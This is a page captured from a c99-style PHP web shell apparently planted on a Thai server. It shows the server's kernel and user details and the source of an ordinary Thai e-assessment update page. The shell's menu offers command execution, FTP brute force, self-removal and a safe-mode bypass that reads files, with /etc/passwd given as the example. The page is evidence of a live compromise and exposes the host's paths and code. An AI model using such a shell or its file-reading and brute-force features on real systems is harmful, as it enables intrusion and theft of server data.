!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/fileupdate/eassess/admin/   drwxr-xr-x
Free 50.75 GB of 127.8 GB (39.71%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     2552-03-04-1.0.02-updatefile.php (13.68 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
        
include_once "template.php";
        include_once 
"../class/clsFileUpdate.php";
        
$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);
        
$oFd = new FileUpdate($oCA);
        
$num=$oFd->countnodir();
        if(
$num!=0){
                include(
"selectfile.php");
        }else{
        
                include_once 
"template.php";
                
showHeader();
                
                include_once 
"../link/function.php";
                include_once 
"../class/clsFileUpdate.php";
                include_once 
"../class/clsFileUpdateTemp.php";
                include_once(
"../global0.php");
                
                
openWindow();
                
autotab();
                
                
$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);
                
$oFd = new FileUpdate($oCA);
                
$oFd1=new FileUpdate($oCA);
                
$oFdt=new FileUpdateTemp($oCA);
                
$oFdt2=new FileUpdateTemp($oCA);


                
$oFdt->RSFileUpdateTemp();
                while(
$oFdt->GetRecord()){
                    
$oFdt2->SearchByKey($oFdt->fileId);
                    
$oFdt2->GetRecord();
                    
$oFdt2->Delete();
                }
 
?>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<br><table width="740" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><br><fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php?mm=1">อัพเดทโปรแกรม</a> <img src="../picture/ico3.gif" align="absmiddle" border="0">อัพเดทโปรแกรม</font></legend>
        <label><div align="center">
        <table width="740" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td>
<?
if($GLOBALS["SERVER_PATH"]==""){
$case_=1;
?>
            <form name="ee" method="post" action="addpathserver.php">
          <table align="center" width="47%" border="0">
            <tr>
              <td  align="center"> <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">** กรุณากรอกชื่อเครื่อง Server เพื่อทำการอัพเดทโปรแกรม **</font> </td>
  </tr>
            <tr> 
              <td  align="center">
     <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">
                http://<input name="server_path" type="text" size="30" maxlength="100">
</font>
       </td>
  </tr>
    <tr align="center">
                  <td><input type="submit" name="addpath" value="บันทึก" onClick='return checkaddpath();'>
                  <input type="hidden" name="method" value="addpath">
                  </td>
                  </tr>
</table></form>
<?
}else{
?>
<br>
<? if($GLOBALS["SERVER_PATH"]!=""){  
        list(
$pserver$close) = split("/mis/version/admin/send.php"$GLOBALS["SERVER_PATH"]);
        list(
$phttp$pserver) = split("http://"$pserver);
?>
         <table align="center" width="100%" border="0">
                <tr>
                    <td height="22" align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>ชื่อเครื่อง 
                      Server :: </strong><? echo $pserver?><br><br>
                      <a href="#" class='box'  border="0" align="absmiddle" id=IMG3  style="CURSOR: hand" onClick="editpath('<? echo $pserver?>')">
                      [&nbsp;<img src="../picture/computer.gif" align="absmiddle" border="0"> แก้ไขชื่อเครื่อง Server ]</a>
                      <br><br><a href="printfileupdate.php?sort_show=<? echo $sort_show?>" target="_blank">[&nbsp;<img src="../picture/search.gif" align="absmiddle" border="0"> ตรวจสอบเวอร์ชั่นปัจจุบัน ]</a>
                      </font></td>
                  </tr>
                
            </table>
  <? ?><br>
                  <form name="ff" method="post" action="showupdate.php">
                <table align="center" width="53%" border="0">
                  <tr> 
                    <td  align="center">
                       <input type="submit" name="update" value="อัพเดทโปรแกรม"> 
                       <input type="button" name="back" value="กลับเมนูหลัก" onClick="location.href = 'adminIndex.php?mm=1' ">
                      <input type="hidden" name="method" value="update"> 
                      <input type="hidden" name="case_" value="<? echo $case_?>"> 
                    </td>
                  </tr>
                </table>
                </form>
                <br>
    <? if($nofile=="1"){  ?>
    <table width="476" height="50" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#C7EBFE"><!--DWLayoutTable-->
    <tr align="center">
                  <td height="26" align="center" bgcolor="#C7EBFE"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><strong> 
                    ยังไม่มีการปรับปรุงโปรแกรมของระบบประเมินประสิทธิภาพการเรียนการสอน </strong></font></td>
                </tr>
    </table><br>
    <?    }else if($nofile =="3"){ ?>
    <table width="80%" height="50" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#C7EBFE"><!--DWLayoutTable-->
    <tr>
            <td height="26" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><strong><? echo $error?></strong></font><br><br></td>
          </tr>
    <tr align="center">
                  <td height="26" align="center" bgcolor="#C7EBFE"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><strong>
                    ไม่สามารถติดต่อกับเครื่อง server ได้<br>กรุณาตรวจสอบชื่อเครื่อง Server อีกครั้ง </strong></font></td>
                </tr>
    </table> <br>
                <?    ?>
                <?
     
if($fileerror !="" || $nofile=="4"){ ?>
                <table width="476" height="50" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#C7EBFE"><!--DWLayoutTable-->
    <tr align="center">
                  <td height="26" align="center" bgcolor="#C7EBFE"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><strong> 
                    เกิดความผิดพลาดในการส่งข้อมูล<br>กรุณากดปุ่มอัพเดทโปรแกรมอีกครั้ง </strong></font></td>
                </tr>
    </table>     
    <? ?>
     <form name="hh" method="post" action="<?php echo $PHP_SELF?>">
        <table  width="100%" border="0" cellpadding="0" cellspacing="0" >
        <tr>
        <td width="75%" align="right">&nbsp;</td>
         <td width="25%"  height="26" align="right" background="../picture/bgBio4.gif">
        <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">
        
            <div align="right">เรียงลำดับตาม ::&nbsp;<select name="sort_show" onchange='return checksort();'>
                        <option value="0" <? if($sort_show=="0"){   echo "selected";  }?>>เวลาที่อัพเดท</option>
                        <option value="1" <? if($sort_show=="1"){   echo "selected";  }?>>ตัวอักษร</option>
                      </select>&nbsp;</div></font></td>              
                      </tr>
                     
        <tr  align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_1"];?>">
        <td colspan="2"><font size="3" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>การอัพเดทโปรแกรม</strong></font></td>
        </tr>
        <tr><td colspan="2">
          <table width="100%" border="1" cellspacing="0" cellpadding="0" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_1"];?>" valign="top">
            <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_2"];?>"  > 
              <td width="10%"   height="17" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>วันที่อัพเดท</strong></font></td>
              <td width="10%" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>เวลาอัพเดท</strong></font></td>
              <td width="35%"   align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>ชื่อไฟล์ (Version)</strong></font></td>
              <td width="3%"   align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>&nbsp;</strong>
                </font></td>
                <td width="7%"   align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>เวอร์ชั่น<br>ปัจจุบัน</strong>
                </font></td>
              <td width="23%"   align="center" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>Path</strong> 
                </font></td>
              <td width="12%"  align="center" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>รายละเอียด<br>การเปลี่ยนแปลง</strong> 
                </font></td>
            </tr>
            <?    $i=0;
            if(
$sort_show=="0" || $sort_show==""){
          
$oFd->RSFileUpdategroupname();
        }else{
        
$oFd->RSFileUpdategroupnameordertext();
        }
        while(
$oFd->GetRecord() && $i!="25"){ ?>
        <tr bgcolor="#EBEBEB" >
        <td colspan="7" height="22" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong><? echo $oFd->filename1?></strong></font></td>
        </tr>
        <tr>
              <td height="22" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? //echo "($i)"; ?><? echo abbreDate2($oFd->updateDate); ?></font></td>
              <td height="22" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? echo $oFd->updatetime?></font></td>
              <td align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? if($oFd->filename2==""){ echo $oFd->filename1; }else{ echo $oFd->filename2; }?></font></td>
              <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 
                <? if($oFd->flagfile=="1"){ echo "C"; }else if($oFd->flagfile=="2"){ echo "E"; }else{  echo "D";  }  ?>
                </font></td>
                <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 
                <? if($oFd->flaguse=="Y"){ ?>
                    <img src="../picture/apply.gif"  align="absmiddle">
                <? }else if($oFd->flaguse=="N"){  ?>
                    <img src="../picture/delete.gif"  align="absmiddle">
                <? }?>
                </font></td>
              <td align="left" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? echo $oFd->path;  ?> 
                </font></td>
              <td align="left" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">&nbsp; 
                <? if($oFd->detail==""){  echo "-&nbsp;(ลบไฟล์)"; }else{  echo $oFd->detail;  } ?> </font>
               </td>
            </tr>
            <? 
            $oFd1
->SearchBynotfileId($oFd->fileId,$oFd->filename1,$oFd->path);
            while(
$oFd1->GetRecord()){
                        
$i++;
             
?>
             <tr>
             <td height="22" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? //echo "($i)"; ?><? echo abbreDate2($oFd1->updateDate); ?></font></td>
              <td height="22" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? echo $oFd1->updatetime?></font></td>
              <td align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? if($oFd1->filename2==""){ echo $oFd1->filename1; }else{ echo $oFd1->filename2; }?></font></td>
              <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 
                <? if($oFd1->flagfile=="1"){ echo "C"; }else if($oFd1->flagfile=="2"){ echo "E"; }else{  echo "D";  }  ?>
                </font></td>
                <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 
                <? if($oFd1->flaguse=="Y"){ ?>
                    <img src="../picture/apply.gif"  align="absmiddle">
                <? }else if($oFd1->flaguse=="N"){  ?>
                    <img src="../picture/delete.gif"  align="absmiddle">
                <? }?>
                </font></td>
              <td align="left" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? echo $oFd1->path;  ?> 
                </font></td>
              <td align="left" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">&nbsp; 
                <? if($oFd1->detail==""){  echo "-&nbsp;(ลบไฟล์)"; }else{  echo $oFd1->detail;  } ?> </font>
               </td>
            </tr>
            <? }?>
            <? $i++; 
             } 
        
                if(
$i == 0){
?>
            <tr> 
              <td colspan="8" height="22" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">** 
                ไม่ปรากฏรายการในฐานข้อมูล **</font></td>
            </tr>
            <?php
                        
}else{  ?>
            <tr> 
              <td colspan="8" align="right"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 
                <a href="printallupdate.php?sort_show=<? echo $sort_show?>" target="_blank">[&nbsp;<img src="../picture/search.gif" align="absmiddle" border="0">&nbsp;ดูประวัติการอัพเดทโปรแกรมทั้งหมด&nbsp;]</a></font></td>
            </tr>
            <? }?>
          </table></td></tr></table>
          
          </form><? ?>
       
        
            </td>
    </tr>
</table></div></label>
            </fieldset>
            <?
if($GLOBALS["SERVER_PATH"]!=""){
?>
            <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"> <b>หมายเหตุ 
      : </b>&nbsp;<br>
      ประเภทของไฟล์ :: C หมายถึงไฟล์ที่สร้างใหม่<br>
      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      E หมายถึงไฟล์ที่แก้ไข<br>
      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      D หมายถึงไฟล์ที่ถูกลบ<br> 
      เวอร์ชั่นปัจจุบัน ::<img src="../picture/apply.gif"  align="absmiddle">หมายถึงไฟล์ได้ถูกนำไปใช้งานแล้ว<br>
      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      <img src="../picture/delete.gif"  align="absmiddle"> หมายถึงไฟล์ไม่ได้ถูกนำไปใช้งาน</font><? ?>
            </td></tr></table>
<?php
showFooter
();
?>
  <script>
  function checkaddpath(){
            if(document.ee.server_path.value==""){
                alert("กรุณากรอกชื่อเครื่อง Server เพื่อทำการอัพเดทโปรแกรม !");
                return false;
            }
            document.ee.submit();        
}

function editpath(pserver){
            FileName = "editpathserver.php?pserver=<?  echo $pserver?>";
            var w=400;  
            var h=150;
            strOption = "scrollbars=yes,left=400,top=100,width=" + w + ",height=" + h;
            window.open(FileName,"",strOption);
}
function checksort(){
    document.hh.submit();
}
</script>
<? ?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0147 ]--